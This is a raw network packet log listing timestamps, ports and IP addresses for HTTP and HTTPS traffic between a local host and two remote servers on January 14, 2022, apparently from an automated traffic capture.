Jan 14, 2022 01:51:42.978128910 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978149891 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.978179932 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978224039 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978230000 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.978260994 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978312969 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.050832033 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.050889015 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.050930023 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.050954103 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.050968885 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051006079 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051012993 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.051044941 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051083088 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051088095 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.051119089 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051157951 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051172018 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.051188946 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.051229000 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.051386118 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.123934984 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:43.124039888 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:43.481354952 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481398106 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481494904 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.481513023 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481539965 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481614113 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.481626987 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481755972 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481791019 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481852055 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.481868029 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.481880903 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.505040884 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505108118 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505188942 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.505211115 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505224943 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.505695105 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505729914 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505769014 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.505781889 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.505831957 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.506496906 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.506534100 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.506581068 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.506599903 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.506613016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529015064 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529072046 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529124022 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529136896 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529172897 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529422045 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529476881 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529532909 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529555082 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529575109 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529606104 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529690981 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529701948 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529881001 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.529968977 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.529980898 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530066013 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530152082 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.530165911 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530359030 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530447960 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.530459881 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530483007 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.530529022 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.530596972 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.530975103 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.531063080 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.531109095 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.531126022 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.531233072 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.539654016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.553033113 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553071022 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553241014 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.553253889 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553459883 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553495884 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553534031 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.553548098 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.553563118 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.553951025 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554027081 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554084063 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554106951 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554153919 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554339886 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554393053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554449081 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554481983 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554563046 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554853916 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.554950953 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554975986 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.554990053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555011034 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555062056 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.555524111 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555572987 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555624008 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.555636883 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555654049 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.555727005 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555761099 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555811882 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.555824995 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555839062 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.555924892 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.555959940 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.556006908 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.556025028 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.556039095 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.556046009 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.577162027 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.577202082 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.577248096 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.577267885 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.577291965 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.579674006 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.579739094 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.579786062 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.579808950 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.579823971 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.579829931 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.579926968 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.579977036 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580012083 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580028057 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580044031 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580079079 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580362082 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580415010 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580466032 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580485106 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580543041 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580730915 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580782890 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580816031 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.580831051 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.580903053 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581057072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581108093 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581113100 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581146002 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581162930 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581176043 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581201077 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581440926 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581491947 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581527948 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.581547022 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.581562042 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.600676060 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.600733995 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.600779057 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.600806952 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.601212978 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.601252079 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605354071 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605418921 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605494976 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605510950 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605529070 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605604887 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605659008 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605691910 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605710983 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.605726957 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605739117 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.605990887 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606041908 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606086016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.606106997 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606126070 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.606416941 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606468916 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606524944 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.606539965 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606556892 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.606777906 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.606868982 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.606885910 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.607764006 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.607873917 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.607888937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608026981 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608078957 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608113050 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.608125925 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608160973 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.608201981 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608254910 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608290911 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.608305931 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.608324051 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.624418020 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.624470949 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.624537945 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.624567032 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.624579906 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.631326914 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631380081 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631489992 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.631506920 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631520033 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.631658077 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631709099 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631742001 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.631764889 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.631782055 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632019997 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632070065 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632107973 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632128954 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632147074 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632441998 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632492065 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632544994 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632560015 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632576942 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632812023 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632862091 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632900953 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.632917881 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.632934093 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633172989 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633224010 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633272886 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633286953 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633302927 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633618116 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633668900 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633670092 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633702993 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.633709908 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633748055 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.633982897 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.634038925 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.634073973 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.634093046 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.634115934 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.648365974 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.648422956 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.648459911 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.648477077 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.648494005 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.657783985 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.657840014 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.657860994 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.657927990 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.657931089 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.658174038 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.658226967 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.658256054 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.658278942 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.658298016 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.658521891 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.658606052 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.658621073 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659470081 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659559011 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.659574032 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659729004 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659779072 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659811974 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.659827948 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.659846067 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.659953117 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660002947 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660032988 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660047054 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660070896 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660175085 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660229921 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660254955 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660267115 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660312891 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660397053 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660445929 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660471916 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660486937 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660535097 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660552979 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660609961 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660626888 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.660641909 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.660687923 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.683723927 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.683779955 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.683855057 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.683881998 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.683897018 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684041977 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684093952 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684120893 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684137106 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684192896 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684454918 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684509039 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684541941 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684561968 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684581041 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684817076 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684868097 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684900999 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684919119 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.684942007 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.684948921 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685218096 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685271978 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685323000 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685338020 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685353041 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685621023 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685672045 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685703993 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685719013 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.685738087 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685745001 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.685982943 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686038017 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686091900 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.686105967 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686120033 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.686363935 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686417103 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686450005 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:43.686465025 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:43.686510086 CET	49855	443	192.168.2.3	144.76.136.153
